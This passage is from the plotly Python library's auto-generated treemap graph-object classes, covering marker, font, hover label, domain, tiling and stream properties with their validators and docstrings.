"reversed", the fading direction is inverted, that is the top elements within hierarchy are drawn with fully saturated colors while the leaves are faded towards the background color. line plotly.graph_objects.treemap.marker.Line instance or dict with compatible properties pad plotly.graph_objects.treemap.marker.Pad instance or dict with compatible properties reversescale Reverses the color mapping if true. Has an effect only if colorsis set to a numerical array. If true, `marker.cmin` will correspond to the last color in the array and `marker.cmax` will correspond to the first color. showscale Determines whether or not a colorbar is displayed for this trace. Has an effect only if colorsis set to a numerical array. Returns ------- Marker """ super(Marker, self).__init__("marker") # Validate arg # ------------ if arg is None: arg = {} elif isinstance(arg, self.__class__): arg = arg.to_plotly_json() elif isinstance(arg, dict): arg = _copy.copy(arg) else: raise ValueError( """\ The first argument to the plotly.graph_objs.treemap.Marker constructor must be a dict or an instance of plotly.graph_objs.treemap.Marker""" ) # Handle skip_invalid # ------------------- self._skip_invalid = kwargs.pop("skip_invalid", False) # Import validators # ----------------- from plotly.validators.treemap import marker as v_marker # Initialize validators # --------------------- self._validators["autocolorscale"] = v_marker.AutocolorscaleValidator() self._validators["cauto"] = v_marker.CautoValidator() self._validators["cmax"] = v_marker.CmaxValidator() self._validators["cmid"] = v_marker.CmidValidator() self._validators["cmin"] = v_marker.CminValidator() self._validators["coloraxis"] = v_marker.ColoraxisValidator() self._validators["colorbar"] = v_marker.ColorBarValidator() self._validators["colors"] = v_marker.ColorsValidator() self._validators["colorscale"] = v_marker.ColorscaleValidator() self._validators["colorssrc"] = v_marker.ColorssrcValidator() self._validators["depthfade"] = v_marker.DepthfadeValidator() self._validators["line"] = v_marker.LineValidator() self._validators["pad"] = v_marker.PadValidator() self._validators["reversescale"] = v_marker.ReversescaleValidator() self._validators["showscale"] = v_marker.ShowscaleValidator() # Populate data dict with properties # ---------------------------------- _v = arg.pop("autocolorscale", None) self["autocolorscale"] = autocolorscale if autocolorscale is not None else _v _v = arg.pop("cauto", None) self["cauto"] = cauto if cauto is not None else _v _v = arg.pop("cmax", None) self["cmax"] = cmax if cmax is not None else _v _v = arg.pop("cmid", None) self["cmid"] = cmid if cmid is not None else _v _v = arg.pop("cmin", None) self["cmin"] = cmin if cmin is not None else _v _v = arg.pop("coloraxis", None) self["coloraxis"] = coloraxis if coloraxis is not None else _v _v = arg.pop("colorbar", None) self["colorbar"] = colorbar if colorbar is not None else _v _v = arg.pop("colors", None) self["colors"] = colors if colors is not None else _v _v = arg.pop("colorscale", None) self["colorscale"] = colorscale if colorscale is not None else _v _v = arg.pop("colorssrc", None) self["colorssrc"] = colorssrc if colorssrc is not None else _v _v = arg.pop("depthfade", None) self["depthfade"] = depthfade if depthfade is not None else _v _v = arg.pop("line", None) self["line"] = line if line is not None else _v _v = arg.pop("pad", None) self["pad"] = pad if pad is not None else _v _v = arg.pop("reversescale", None) self["reversescale"] = reversescale if reversescale is not None else _v _v = arg.pop("showscale", None) self["showscale"] = showscale if showscale is not None else _v # Process unknown kwargs # ---------------------- self._process_kwargs(**dict(arg, **kwargs)) # Reset skip_invalid # ------------------ self._skip_invalid = False from plotly.basedatatypes import BaseTraceHierarchyType as _BaseTraceHierarchyType import copy as _copy class Insidetextfont(_BaseTraceHierarchyType): # color # ----- @property def color(self): """ The 'color' property is a color and may be specified as: - A hex string (e.g. '#ff0000') - An rgb/rgba string (e.g. 'rgb(255,0,0)') - An hsl/hsla string (e.g. 'hsl(0,100%,50%)') - An hsv/hsva string (e.g. 'hsv(0,100%,100%)') - A named CSS color: aliceblue, antiquewhite, aqua, aquamarine, azure, beige, bisque, black, blanchedalmond, blue, blueviolet, brown, burlywood, cadetblue, chartreuse, chocolate, coral, cornflowerblue, cornsilk, crimson, cyan, darkblue, darkcyan, darkgoldenrod, darkgray, darkgrey, darkgreen, darkkhaki, darkmagenta, darkolivegreen, darkorange, darkorchid, darkred, darksalmon, darkseagreen, darkslateblue, darkslategray, darkslategrey, darkturquoise, darkviolet, deeppink, deepskyblue, dimgray, dimgrey, dodgerblue, firebrick, floralwhite, forestgreen, fuchsia, gainsboro, ghostwhite, gold, goldenrod, gray, grey, green, greenyellow, honeydew, hotpink, indianred, indigo, ivory, khaki, lavender, lavenderblush, lawngreen, lemonchiffon, lightblue, lightcoral, lightcyan, lightgoldenrodyellow, lightgray, lightgrey, lightgreen, lightpink, lightsalmon, lightseagreen, lightskyblue, lightslategray, lightslategrey, lightsteelblue, lightyellow, lime, limegreen, linen, magenta, maroon, mediumaquamarine, mediumblue, mediumorchid, mediumpurple, mediumseagreen, mediumslateblue, mediumspringgreen, mediumturquoise, mediumvioletred, midnightblue, mintcream, mistyrose, moccasin, navajowhite, navy, oldlace, olive, olivedrab, orange, orangered, orchid, palegoldenrod, palegreen, paleturquoise, palevioletred, papayawhip, peachpuff, peru, pink, plum, powderblue, purple, red, rosybrown, royalblue, rebeccapurple, saddlebrown, salmon, sandybrown, seagreen, seashell, sienna, silver, skyblue, slateblue, slategray, slategrey, snow, springgreen, steelblue, tan, teal, thistle, tomato, turquoise, violet, wheat, white, whitesmoke, yellow, yellowgreen - A list or array of any of the above Returns ------- str|numpy.ndarray """ return self["color"] @color.setter def color(self, val): self["color"] = val # colorsrc # -------- @property def colorsrc(self): """ Sets the source reference on plot.ly for color . The 'colorsrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["colorsrc"] @colorsrc.setter def colorsrc(self, val): self["colorsrc"] = val # family # ------ @property def family(self): """ HTML font family - the typeface that will be applied by the web browser. The web browser will only be able to apply a font if it is available on the system which it operates. Provide multiple font families, separated by commas, to indicate the preference in which to apply fonts if they aren't available on the system. The plotly service (at https://plot.ly or on- premise) generates images on a server, where only a select number of fonts are installed and supported. These include "Arial", "Balto", "Courier New", "Droid Sans",, "Droid Serif", "Droid Sans Mono", "Gravitas One", "Old Standard TT", "Open Sans", "Overpass", "PT Sans Narrow", "Raleway", "Times New Roman". The 'family' property is a string and must be specified as: - A non-empty string - A tuple, list, or one-dimensional numpy array of the above Returns ------- str|numpy.ndarray """ return self["family"] @family.setter def family(self, val): self["family"] = val # familysrc # --------- @property def familysrc(self): """ Sets the source reference on plot.ly for family . The 'familysrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["familysrc"] @familysrc.setter def familysrc(self, val): self["familysrc"] = val # size # ---- @property def size(self): """ The 'size' property is a number and may be specified as: - An int or float in the interval [1, inf] - A tuple, list, or one-dimensional numpy array of the above Returns ------- int|float|numpy.ndarray """ return self["size"] @size.setter def size(self, val): self["size"] = val # sizesrc # ------- @property def sizesrc(self): """ Sets the source reference on plot.ly for size . The 'sizesrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["sizesrc"] @sizesrc.setter def sizesrc(self, val): self["sizesrc"] = val # property parent name # -------------------- @property def _parent_path_str(self): return "treemap" # Self properties description # --------------------------- @property def _prop_descriptions(self): return """\ color colorsrc Sets the source reference on plot.ly for color . family HTML font family - the typeface that will be applied by the web browser. The web browser will only be able to apply a font if it is available on the system which it operates. Provide multiple font families, separated by commas, to indicate the preference in which to apply fonts if they aren't available on the system. The plotly service (at https://plot.ly or on-premise) generates images on a server, where only a select number of fonts are installed and supported. These include "Arial", "Balto", "Courier New", "Droid Sans",, "Droid Serif", "Droid Sans Mono", "Gravitas One", "Old Standard TT", "Open Sans", "Overpass", "PT Sans Narrow", "Raleway", "Times New Roman". familysrc Sets the source reference on plot.ly for family . size sizesrc Sets the source reference on plot.ly for size . """ def __init__( self, arg=None, color=None, colorsrc=None, family=None, familysrc=None, size=None, sizesrc=None, **kwargs ): """ Construct a new Insidetextfont object Sets the font used for `textinfo` lying inside the sector. Parameters ---------- arg dict of properties compatible with this constructor or an instance of plotly.graph_objs.treemap.Insidetextfont color colorsrc Sets the source reference on plot.ly for color . family HTML font family - the typeface that will be applied by the web browser. The web browser will only be able to apply a font if it is available on the system which it operates. Provide multiple font families, separated by commas, to indicate the preference in which to apply fonts if they aren't available on the system. The plotly service (at https://plot.ly or on-premise) generates images on a server, where only a select number of fonts are installed and supported. These include "Arial", "Balto", "Courier New", "Droid Sans",, "Droid Serif", "Droid Sans Mono", "Gravitas One", "Old Standard TT", "Open Sans", "Overpass", "PT Sans Narrow", "Raleway", "Times New Roman". familysrc Sets the source reference on plot.ly for family . size sizesrc Sets the source reference on plot.ly for size . Returns ------- Insidetextfont """ super(Insidetextfont, self).__init__("insidetextfont") # Validate arg # ------------ if arg is None: arg = {} elif isinstance(arg, self.__class__): arg = arg.to_plotly_json() elif isinstance(arg, dict): arg = _copy.copy(arg) else: raise ValueError( """\ The first argument to the plotly.graph_objs.treemap.Insidetextfont constructor must be a dict or an instance of plotly.graph_objs.treemap.Insidetextfont""" ) # Handle skip_invalid # ------------------- self._skip_invalid = kwargs.pop("skip_invalid", False) # Import validators # ----------------- from plotly.validators.treemap import insidetextfont as v_insidetextfont # Initialize validators # --------------------- self._validators["color"] = v_insidetextfont.ColorValidator() self._validators["colorsrc"] = v_insidetextfont.ColorsrcValidator() self._validators["family"] = v_insidetextfont.FamilyValidator() self._validators["familysrc"] = v_insidetextfont.FamilysrcValidator() self._validators["size"] = v_insidetextfont.SizeValidator() self._validators["sizesrc"] = v_insidetextfont.SizesrcValidator() # Populate data dict with properties # ---------------------------------- _v = arg.pop("color", None) self["color"] = color if color is not None else _v _v = arg.pop("colorsrc", None) self["colorsrc"] = colorsrc if colorsrc is not None else _v _v = arg.pop("family", None) self["family"] = family if family is not None else _v _v = arg.pop("familysrc", None) self["familysrc"] = familysrc if familysrc is not None else _v _v = arg.pop("size", None) self["size"] = size if size is not None else _v _v = arg.pop("sizesrc", None) self["sizesrc"] = sizesrc if sizesrc is not None else _v # Process unknown kwargs # ---------------------- self._process_kwargs(**dict(arg, **kwargs)) # Reset skip_invalid # ------------------ self._skip_invalid = False from plotly.basedatatypes import BaseTraceHierarchyType as _BaseTraceHierarchyType import copy as _copy class Hoverlabel(_BaseTraceHierarchyType): # align # ----- @property def align(self): """ Sets the horizontal alignment of the text content within hover label box. Has an effect only if the hover label text spans more two or more lines The 'align' property is an enumeration that may be specified as: - One of the following enumeration values: ['left', 'right', 'auto'] - A tuple, list, or one-dimensional numpy array of the above Returns ------- Any|numpy.ndarray """ return self["align"] @align.setter def align(self, val): self["align"] = val # alignsrc # -------- @property def alignsrc(self): """ Sets the source reference on plot.ly for align . The 'alignsrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["alignsrc"] @alignsrc.setter def alignsrc(self, val): self["alignsrc"] = val # bgcolor # ------- @property def bgcolor(self): """ Sets the background color of the hover labels for this trace The 'bgcolor' property is a color and may be specified as: - A hex string (e.g. '#ff0000') - An rgb/rgba string (e.g. 'rgb(255,0,0)') - An hsl/hsla string (e.g. 'hsl(0,100%,50%)') - An hsv/hsva string (e.g. 'hsv(0,100%,100%)') - A named CSS color: aliceblue, antiquewhite, aqua, aquamarine, azure, beige, bisque, black, blanchedalmond, blue, blueviolet, brown, burlywood, cadetblue, chartreuse, chocolate, coral, cornflowerblue, cornsilk, crimson, cyan, darkblue, darkcyan, darkgoldenrod, darkgray, darkgrey, darkgreen, darkkhaki, darkmagenta, darkolivegreen, darkorange, darkorchid, darkred, darksalmon, darkseagreen, darkslateblue, darkslategray, darkslategrey, darkturquoise, darkviolet, deeppink, deepskyblue, dimgray, dimgrey, dodgerblue, firebrick, floralwhite, forestgreen, fuchsia, gainsboro, ghostwhite, gold, goldenrod, gray, grey, green, greenyellow, honeydew, hotpink, indianred, indigo, ivory, khaki, lavender, lavenderblush, lawngreen, lemonchiffon, lightblue, lightcoral, lightcyan, lightgoldenrodyellow, lightgray, lightgrey, lightgreen, lightpink, lightsalmon, lightseagreen, lightskyblue, lightslategray, lightslategrey, lightsteelblue, lightyellow, lime, limegreen, linen, magenta, maroon, mediumaquamarine, mediumblue, mediumorchid, mediumpurple, mediumseagreen, mediumslateblue, mediumspringgreen, mediumturquoise, mediumvioletred, midnightblue, mintcream, mistyrose, moccasin, navajowhite, navy, oldlace, olive, olivedrab, orange, orangered, orchid, palegoldenrod, palegreen, paleturquoise, palevioletred, papayawhip, peachpuff, peru, pink, plum, powderblue, purple, red, rosybrown, royalblue, rebeccapurple, saddlebrown, salmon, sandybrown, seagreen, seashell, sienna, silver, skyblue, slateblue, slategray, slategrey, snow, springgreen, steelblue, tan, teal, thistle, tomato, turquoise, violet, wheat, white, whitesmoke, yellow, yellowgreen - A list or array of any of the above Returns ------- str|numpy.ndarray """ return self["bgcolor"] @bgcolor.setter def bgcolor(self, val): self["bgcolor"] = val # bgcolorsrc # ---------- @property def bgcolorsrc(self): """ Sets the source reference on plot.ly for bgcolor . The 'bgcolorsrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["bgcolorsrc"] @bgcolorsrc.setter def bgcolorsrc(self, val): self["bgcolorsrc"] = val # bordercolor # ----------- @property def bordercolor(self): """ Sets the border color of the hover labels for this trace. The 'bordercolor' property is a color and may be specified as: - A hex string (e.g. '#ff0000') - An rgb/rgba string (e.g. 'rgb(255,0,0)') - An hsl/hsla string (e.g. 'hsl(0,100%,50%)') - An hsv/hsva string (e.g. 'hsv(0,100%,100%)') - A named CSS color: aliceblue, antiquewhite, aqua, aquamarine, azure, beige, bisque, black, blanchedalmond, blue, blueviolet, brown, burlywood, cadetblue, chartreuse, chocolate, coral, cornflowerblue, cornsilk, crimson, cyan, darkblue, darkcyan, darkgoldenrod, darkgray, darkgrey, darkgreen, darkkhaki, darkmagenta, darkolivegreen, darkorange, darkorchid, darkred, darksalmon, darkseagreen, darkslateblue, darkslategray, darkslategrey, darkturquoise, darkviolet, deeppink, deepskyblue, dimgray, dimgrey, dodgerblue, firebrick, floralwhite, forestgreen, fuchsia, gainsboro, ghostwhite, gold, goldenrod, gray, grey, green, greenyellow, honeydew, hotpink, indianred, indigo, ivory, khaki, lavender, lavenderblush, lawngreen, lemonchiffon, lightblue, lightcoral, lightcyan, lightgoldenrodyellow, lightgray, lightgrey, lightgreen, lightpink, lightsalmon, lightseagreen, lightskyblue, lightslategray, lightslategrey, lightsteelblue, lightyellow, lime, limegreen, linen, magenta, maroon, mediumaquamarine, mediumblue, mediumorchid, mediumpurple, mediumseagreen, mediumslateblue, mediumspringgreen, mediumturquoise, mediumvioletred, midnightblue, mintcream, mistyrose, moccasin, navajowhite, navy, oldlace, olive, olivedrab, orange, orangered, orchid, palegoldenrod, palegreen, paleturquoise, palevioletred, papayawhip, peachpuff, peru, pink, plum, powderblue, purple, red, rosybrown, royalblue, rebeccapurple, saddlebrown, salmon, sandybrown, seagreen, seashell, sienna, silver, skyblue, slateblue, slategray, slategrey, snow, springgreen, steelblue, tan, teal, thistle, tomato, turquoise, violet, wheat, white, whitesmoke, yellow, yellowgreen - A list or array of any of the above Returns ------- str|numpy.ndarray """ return self["bordercolor"] @bordercolor.setter def bordercolor(self, val): self["bordercolor"] = val # bordercolorsrc # -------------- @property def bordercolorsrc(self): """ Sets the source reference on plot.ly for bordercolor . The 'bordercolorsrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["bordercolorsrc"] @bordercolorsrc.setter def bordercolorsrc(self, val): self["bordercolorsrc"] = val # font # ---- @property def font(self): """ Sets the font used in hover labels. The 'font' property is an instance of Font that may be specified as: - An instance of plotly.graph_objs.treemap.hoverlabel.Font - A dict of string/value properties that will be passed to the Font constructor Supported dict properties: color colorsrc Sets the source reference on plot.ly for color . family HTML font family - the typeface that will be applied by the web browser. The web browser will only be able to apply a font if it is available on the system which it operates. Provide multiple font families, separated by commas, to indicate the preference in which to apply fonts if they aren't available on the system. The plotly service (at https://plot.ly or on-premise) generates images on a server, where only a select number of fonts are installed and supported. These include "Arial", "Balto", "Courier New", "Droid Sans",, "Droid Serif", "Droid Sans Mono", "Gravitas One", "Old Standard TT", "Open Sans", "Overpass", "PT Sans Narrow", "Raleway", "Times New Roman". familysrc Sets the source reference on plot.ly for family . size sizesrc Sets the source reference on plot.ly for size . Returns ------- plotly.graph_objs.treemap.hoverlabel.Font """ return self["font"] @font.setter def font(self, val): self["font"] = val # namelength # ---------- @property def namelength(self): """ Sets the default length (in number of characters) of the trace name in the hover labels for all traces. -1 shows the whole name regardless of length. 0-3 shows the first 0-3 characters, and an integer >3 will show the whole name if it is less than that many characters, but if it is longer, will truncate to `namelength - 3` characters and add an ellipsis. The 'namelength' property is a integer and may be specified as: - An int (or float that will be cast to an int) in the interval [-1, 9223372036854775807] - A tuple, list, or one-dimensional numpy array of the above Returns ------- int|numpy.ndarray """ return self["namelength"] @namelength.setter def namelength(self, val): self["namelength"] = val # namelengthsrc # ------------- @property def namelengthsrc(self): """ Sets the source reference on plot.ly for namelength . The 'namelengthsrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["namelengthsrc"] @namelengthsrc.setter def namelengthsrc(self, val): self["namelengthsrc"] = val # property parent name # -------------------- @property def _parent_path_str(self): return "treemap" # Self properties description # --------------------------- @property def _prop_descriptions(self): return """\ align Sets the horizontal alignment of the text content within hover label box. Has an effect only if the hover label text spans more two or more lines alignsrc Sets the source reference on plot.ly for align . bgcolor Sets the background color of the hover labels for this trace bgcolorsrc Sets the source reference on plot.ly for bgcolor . bordercolor Sets the border color of the hover labels for this trace. bordercolorsrc Sets the source reference on plot.ly for bordercolor . font Sets the font used in hover labels. namelength Sets the default length (in number of characters) of the trace name in the hover labels for all traces. -1 shows the whole name regardless of length. 0-3 shows the first 0-3 characters, and an integer >3 will show the whole name if it is less than that many characters, but if it is longer, will truncate to `namelength - 3` characters and add an ellipsis. namelengthsrc Sets the source reference on plot.ly for namelength . """ def __init__( self, arg=None, align=None, alignsrc=None, bgcolor=None, bgcolorsrc=None, bordercolor=None, bordercolorsrc=None, font=None, namelength=None, namelengthsrc=None, **kwargs ): """ Construct a new Hoverlabel object Parameters ---------- arg dict of properties compatible with this constructor or an instance of plotly.graph_objs.treemap.Hoverlabel align Sets the horizontal alignment of the text content within hover label box. Has an effect only if the hover label text spans more two or more lines alignsrc Sets the source reference on plot.ly for align . bgcolor Sets the background color of the hover labels for this trace bgcolorsrc Sets the source reference on plot.ly for bgcolor . bordercolor Sets the border color of the hover labels for this trace. bordercolorsrc Sets the source reference on plot.ly for bordercolor . font Sets the font used in hover labels. namelength Sets the default length (in number of characters) of the trace name in the hover labels for all traces. -1 shows the whole name regardless of length. 0-3 shows the first 0-3 characters, and an integer >3 will show the whole name if it is less than that many characters, but if it is longer, will truncate to `namelength - 3` characters and add an ellipsis. namelengthsrc Sets the source reference on plot.ly for namelength . Returns ------- Hoverlabel """ super(Hoverlabel, self).__init__("hoverlabel") # Validate arg # ------------ if arg is None: arg = {} elif isinstance(arg, self.__class__): arg = arg.to_plotly_json() elif isinstance(arg, dict): arg = _copy.copy(arg) else: raise ValueError( """\ The first argument to the plotly.graph_objs.treemap.Hoverlabel constructor must be a dict or an instance of plotly.graph_objs.treemap.Hoverlabel""" ) # Handle skip_invalid # ------------------- self._skip_invalid = kwargs.pop("skip_invalid", False) # Import validators # ----------------- from plotly.validators.treemap import hoverlabel as v_hoverlabel # Initialize validators # --------------------- self._validators["align"] = v_hoverlabel.AlignValidator() self._validators["alignsrc"] = v_hoverlabel.AlignsrcValidator() self._validators["bgcolor"] = v_hoverlabel.BgcolorValidator() self._validators["bgcolorsrc"] = v_hoverlabel.BgcolorsrcValidator() self._validators["bordercolor"] = v_hoverlabel.BordercolorValidator() self._validators["bordercolorsrc"] = v_hoverlabel.BordercolorsrcValidator() self._validators["font"] = v_hoverlabel.FontValidator() self._validators["namelength"] = v_hoverlabel.NamelengthValidator() self._validators["namelengthsrc"] = v_hoverlabel.NamelengthsrcValidator() # Populate data dict with properties # ---------------------------------- _v = arg.pop("align", None) self["align"] = align if align is not None else _v _v = arg.pop("alignsrc", None) self["alignsrc"] = alignsrc if alignsrc is not None else _v _v = arg.pop("bgcolor", None) self["bgcolor"] = bgcolor if bgcolor is not None else _v _v = arg.pop("bgcolorsrc", None) self["bgcolorsrc"] = bgcolorsrc if bgcolorsrc is not None else _v _v = arg.pop("bordercolor", None) self["bordercolor"] = bordercolor if bordercolor is not None else _v _v = arg.pop("bordercolorsrc", None) self["bordercolorsrc"] = bordercolorsrc if bordercolorsrc is not None else _v _v = arg.pop("font", None) self["font"] = font if font is not None else _v _v = arg.pop("namelength", None) self["namelength"] = namelength if namelength is not None else _v _v = arg.pop("namelengthsrc", None) self["namelengthsrc"] = namelengthsrc if namelengthsrc is not None else _v # Process unknown kwargs # ---------------------- self._process_kwargs(**dict(arg, **kwargs)) # Reset skip_invalid # ------------------ self._skip_invalid = False from plotly.basedatatypes import BaseTraceHierarchyType as _BaseTraceHierarchyType import copy as _copy class Domain(_BaseTraceHierarchyType): # column # ------ @property def column(self): """ If there is a layout grid, use the domain for this column in the grid for this treemap trace . The 'column' property is a integer and may be specified as: - An int (or float that will be cast to an int) in the interval [0, 9223372036854775807] Returns ------- int """ return self["column"] @column.setter def column(self, val): self["column"] = val # row # --- @property def row(self): """ If there is a layout grid, use the domain for this row in the grid for this treemap trace . The 'row' property is a integer and may be specified as: - An int (or float that will be cast to an int) in the interval [0, 9223372036854775807] Returns ------- int """ return self["row"] @row.setter def row(self, val): self["row"] = val # x # - @property def x(self): """ Sets the horizontal domain of this treemap trace (in plot fraction). The 'x' property is an info array that may be specified as: * a list or tuple of 2 elements where: (0) The 'x[0]' property is a number and may be specified as: - An int or float in the interval [0, 1] (1) The 'x[1]' property is a number and may be specified as: - An int or float in the interval [0, 1] Returns ------- list """ return self["x"] @x.setter def x(self, val): self["x"] = val # y # - @property def y(self): """ Sets the vertical domain of this treemap trace (in plot fraction). The 'y' property is an info array that may be specified as: * a list or tuple of 2 elements where: (0) The 'y[0]' property is a number and may be specified as: - An int or float in the interval [0, 1] (1) The 'y[1]' property is a number and may be specified as: - An int or float in the interval [0, 1] Returns ------- list """ return self["y"] @y.setter def y(self, val): self["y"] = val # property parent name # -------------------- @property def _parent_path_str(self): return "treemap" # Self properties description # --------------------------- @property def _prop_descriptions(self): return """\ column If there is a layout grid, use the domain for this column in the grid for this treemap trace . row If there is a layout grid, use the domain for this row in the grid for this treemap trace . x Sets the horizontal domain of this treemap trace (in plot fraction). y Sets the vertical domain of this treemap trace (in plot fraction). """ def __init__(self, arg=None, column=None, row=None, x=None, y=None, **kwargs): """ Construct a new Domain object Parameters ---------- arg dict of properties compatible with this constructor or an instance of plotly.graph_objs.treemap.Domain column If there is a layout grid, use the domain for this column in the grid for this treemap trace . row If there is a layout grid, use the domain for this row in the grid for this treemap trace . x Sets the horizontal domain of this treemap trace (in plot fraction). y Sets the vertical domain of this treemap trace (in plot fraction). Returns ------- Domain """ super(Domain, self).__init__("domain") # Validate arg # ------------ if arg is None: arg = {} elif isinstance(arg, self.__class__): arg = arg.to_plotly_json() elif isinstance(arg, dict): arg = _copy.copy(arg) else: raise ValueError( """\ The first argument to the plotly.graph_objs.treemap.Domain constructor must be a dict or an instance of plotly.graph_objs.treemap.Domain""" ) # Handle skip_invalid # ------------------- self._skip_invalid = kwargs.pop("skip_invalid", False) # Import validators # ----------------- from plotly.validators.treemap import domain as v_domain # Initialize validators # --------------------- self._validators["column"] = v_domain.ColumnValidator() self._validators["row"] = v_domain.RowValidator() self._validators["x"] = v_domain.XValidator() self._validators["y"] = v_domain.YValidator() # Populate data dict with properties # ---------------------------------- _v = arg.pop("column", None) self["column"] = column if column is not None else _v _v = arg.pop("row", None) self["row"] = row if row is not None else _v _v = arg.pop("x", None) self["x"] = x if x is not None else _v _v = arg.pop("y", None) self["y"] = y if y is not None else _v # Process unknown kwargs # ---------------------- self._process_kwargs(**dict(arg, **kwargs)) # Reset skip_invalid # ------------------ self._skip_invalid = False __all__ = [ "Domain", "Hoverlabel", "Insidetextfont", "Marker", "Outsidetextfont", "Pathbar", "Stream", "Textfont", "Tiling", "hoverlabel", "marker", "pathbar", ] from plotly.graph_objs.treemap import pathbar from plotly.graph_objs.treemap import marker from plotly.graph_objs.treemap import hoverlabel

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from plotly.basedatatypes import BaseTraceHierarchyType as _BaseTraceHierarchyType import copy as _copy class Tiling(_BaseTraceHierarchyType): @property def flip(self): return self["flip"] @flip.setter def flip(self, val): self["flip"] = val @property def packing(self): return self["packing"] @packing.setter def packing(self, val): self["packing"] = val @property def pad(self): return self["pad"] @pad.setter def pad(self, val): self["pad"] = val @property def squarifyratio(self): return self["squarifyratio"] @squarifyratio.setter def squarifyratio(self, val): self["squarifyratio"] = val @property def _parent_path_str(self): return "treemap" @property def _prop_descriptions(self): return """\ flip Determines if the positions obtained from solver are flipped on each axis. packing Determines d3 treemap solver. For more info please refer to https://github.com/d3/d3-hierarchy#treemap- tiling pad Sets the inner padding (in px). squarifyratio When using "squarify" `packing` algorithm, according to https://github.com/d3/d3-hierarchy/blob/master/README.m d#squarify_ratio this option specifies the desired aspect ratio of the generated rectangles. The ratio must be specified as a number greater than or equal to one. Note that the orientation of the generated rectangles (tall or wide) is not implied by the ratio; for example, a ratio of two will attempt to produce a mixture of rectangles whose width:height ratio is either 2:1 or 1:2. When using "squarify", unlike d3 which uses the Golden Ratio i.e. 1.618034, Plotly applies 1 to increase squares in treemap layouts. """ def __init__( self, arg=None, flip=None, packing=None, pad=None, squarifyratio=None, **kwargs ): super(Tiling, self).__init__("tiling") if arg is None: arg = {} elif isinstance(arg, self.__class__): arg = arg.to_plotly_json() elif isinstance(arg, dict): arg = _copy.copy(arg) else: raise ValueError( """\ The first argument to the plotly.graph_objs.treemap.Tiling constructor must be a dict or an instance of plotly.graph_objs.treemap.Tiling""" ) self._skip_invalid = kwargs.pop("skip_invalid", False) from plotly.validators.treemap import tiling as v_tiling self._validators["flip"] = v_tiling.FlipValidator() self._validators["packing"] = v_tiling.PackingValidator() self._validators["pad"] = v_tiling.PadValidator() self._validators["squarifyratio"] = v_tiling.SquarifyratioValidator() _v = arg.pop("flip", None) self["flip"] = flip if flip is not None else _v _v = arg.pop("packing", None) self["packing"] = packing if packing is not None else _v _v = arg.pop("pad", None) self["pad"] = pad if pad is not None else _v _v = arg.pop("squarifyratio", None) self["squarifyratio"] = squarifyratio if squarifyratio is not None else _v self._process_kwargs(**dict(arg, **kwargs)) self._skip_invalid = False from plotly.basedatatypes import BaseTraceHierarchyType as _BaseTraceHierarchyType import copy as _copy class Textfont(_BaseTraceHierarchyType): @property def color(self): return self["color"] @color.setter def color(self, val): self["color"] = val @property def colorsrc(self): return self["colorsrc"] @colorsrc.setter def colorsrc(self, val): self["colorsrc"] = val @property def family(self): return self["family"] @family.setter def family(self, val): self["family"] = val @property def familysrc(self): return self["familysrc"] @familysrc.setter def familysrc(self, val): self["familysrc"] = val @property def size(self): return self["size"] @size.setter def size(self, val): self["size"] = val @property def sizesrc(self): return self["sizesrc"] @sizesrc.setter def sizesrc(self, val): self["sizesrc"] = val @property def _parent_path_str(self): return "treemap" @property def _prop_descriptions(self): return """\ color colorsrc Sets the source reference on plot.ly for color . family HTML font family - the typeface that will be applied by the web browser. The web browser will only be able to apply a font if it is available on the system which it operates. Provide multiple font families, separated by commas, to indicate the preference in which to apply fonts if they aren't available on the system. The plotly service (at https://plot.ly or on-premise) generates images on a server, where only a select number of fonts are installed and supported. These include "Arial", "Balto", "Courier New", "Droid Sans",, "Droid Serif", "Droid Sans Mono", "Gravitas One", "Old Standard TT", "Open Sans", "Overpass", "PT Sans Narrow", "Raleway", "Times New Roman". familysrc Sets the source reference on plot.ly for family . size sizesrc Sets the source reference on plot.ly for size . """ def __init__( self, arg=None, color=None, colorsrc=None, family=None, familysrc=None, size=None, sizesrc=None, **kwargs ): super(Textfont, self).__init__("textfont") # Validate arg # ------------ if arg is None: arg = {} elif isinstance(arg, self.__class__): arg = arg.to_plotly_json() elif isinstance(arg, dict): arg = _copy.copy(arg) else: raise ValueError( """\ The first argument to the plotly.graph_objs.treemap.Textfont constructor must be a dict or an instance of plotly.graph_objs.treemap.Textfont""" ) # Handle skip_invalid # ------------------- self._skip_invalid = kwargs.pop("skip_invalid", False) # Import validators # ----------------- from plotly.validators.treemap import textfont as v_textfont # Initialize validators # --------------------- self._validators["color"] = v_textfont.ColorValidator() self._validators["colorsrc"] = v_textfont.ColorsrcValidator() self._validators["family"] = v_textfont.FamilyValidator() self._validators["familysrc"] = v_textfont.FamilysrcValidator() self._validators["size"] = v_textfont.SizeValidator() self._validators["sizesrc"] = v_textfont.SizesrcValidator() # Populate data dict with properties # ---------------------------------- _v = arg.pop("color", None) self["color"] = color if color is not None else _v _v = arg.pop("colorsrc", None) self["colorsrc"] = colorsrc if colorsrc is not None else _v _v = arg.pop("family", None) self["family"] = family if family is not None else _v _v = arg.pop("familysrc", None) self["familysrc"] = familysrc if familysrc is not None else _v _v = arg.pop("size", None) self["size"] = size if size is not None else _v _v = arg.pop("sizesrc", None) self["sizesrc"] = sizesrc if sizesrc is not None else _v # Process unknown kwargs # ---------------------- self._process_kwargs(**dict(arg, **kwargs)) # Reset skip_invalid # ------------------ self._skip_invalid = False from plotly.basedatatypes import BaseTraceHierarchyType as _BaseTraceHierarchyType import copy as _copy class Stream(_BaseTraceHierarchyType): # maxpoints # --------- @property def maxpoints(self): return self["maxpoints"] @maxpoints.setter def maxpoints(self, val): self["maxpoints"] = val # token # ----- @property def token(self): return self["token"] @token.setter def token(self, val): self["token"] = val # property parent name # -------------------- @property def _parent_path_str(self): return "treemap" # Self properties description # --------------------------- @property def _prop_descriptions(self): return """\ maxpoints Sets the maximum number of points to keep on the plots from an incoming stream. If `maxpoints` is set to 50, only the newest 50 points will be displayed on the plot. token The stream id number links a data trace on a plot with a stream. See https://plot.ly/settings for more details. """ def __init__(self, arg=None, maxpoints=None, token=None, **kwargs): super(Stream, 